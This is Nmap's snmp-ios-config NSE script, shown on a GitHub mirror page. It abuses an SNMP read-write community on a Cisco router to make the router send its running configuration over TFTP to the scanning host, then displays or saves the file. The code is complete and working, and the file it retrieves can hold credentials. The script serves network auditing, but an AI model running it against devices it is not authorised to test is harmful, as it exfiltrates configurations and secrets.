1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00
Files
nmap/scripts/snmp-ios-config.nse
dmiller 6139ed22e7 Replace host.ip, port.number with host, port
In most cases (e.g. any of the nmap.socket operations), functions can
take full host and port tables instead of just host.ip and port.number.
This makes for cleaner-looking code and easier extensibility if we
decide to check for a protocol on both TCP and UDP, for instance.
2015-02-18 14:38:42 +00:00

215 lines
6.5 KiB
Lua

local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local snmp = require "snmp"
local stdnse = require "stdnse"
local table = require "table"
local tftp = require "tftp"
description = [[
Attempts to downloads Cisco router IOS configuration files using SNMP RW (v1) and display or save them.
]]
---
-- @usage
-- nmap -sU -p 161 --script snmp-ios-config --script-args snmpcommunity=<community> <target>
--
-- @output
-- | snmp-ios-config:
-- | !
-- | version 12.3
-- | service timestamps debug datetime msec
-- | service timestamps log datetime msec
-- | no service password-encryption
-- | !
-- | hostname Router
-- | !
-- | boot-start-marker
-- | boot-end-marker
-- <snip>
--
-- @args snmp-ios-config.tftproot If set, specifies to what directory the downloaded config should be saved
--
-- Version 0.2
-- Created 01/03/2011 - v0.1 - created by Vikas Singhal
-- Revised 02/22/2011 - v0.2 - cleaned up and added support for built-in tftp, Patrik Karlsson <patrik@cqure.net>
author = "Vikas Singhal, Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
dependencies = {"snmp-brute"}
portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local try
local function sendrequest(socket, oid, setparam)
local payload
local options = {}
options.reqId = 28428 -- unnecessary?
payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
try(socket:send(payload))
-- read in any response we might get
local status, response = socket:receive()
if ( not(status) ) then return status, response end
local result = snmp.fetchFirst(response)
return true
end
---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
return "ERROR: tftproot needs to end with slash"
end
-- create the socket used for our connection
local socket = nmap.new_socket()
-- set a reasonable timeout value
socket:set_timeout(5000)
-- do some exception handling / cleanup
local catch = function() socket:close() end
try = nmap.new_try(catch)
-- connect to the potential SNMP system
try(socket:connect(host, port))
local status, tftpserver, _, _, _ = socket:get_info()
if( not(status) ) then
return "ERROR: Failed to determine local ip"
end
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
-- Fail silently if the first request doesn't get a proper response
if ( not(request) ) then return end
-- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
local tbl = {}
tbl._snmp = '40'
for octet in tftpserver:gmatch("%d+") do
table.insert(tbl, octet)
end
request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
-- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
-- wait for sometime and print the status of filetransfer
tftp.start()
local status, infile = tftp.waitFile(host.ip .. "-config", 10)
-- build a SNMP v1 packet
-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
local options = {}
options.reqId = 28428
local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
try(socket:send(payload))
local status
local response
-- read in any response we might get
status, response = socket:receive()
if (not status) or (response == "TIMEOUT") then
return "\n ERROR: Failed to receive cisco configuration file"
end
local result
result = snmp.fetchFirst(response)
if not result then
return
end
if result == 3 then
result = ( infile and infile:getContent() )
if ( tftproot ) then
local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
local file, err = io.open(fname, "w")
if ( file ) then
file:write(result)
file:close()
else
return "\n ERROR: " .. file
end
result = ("\n Configuration saved to (%s)"):format(fname)
end
else
result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
end
-------------------------------------------------
-- build a SNMP v1 packet
-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
try(socket:close())
return result
end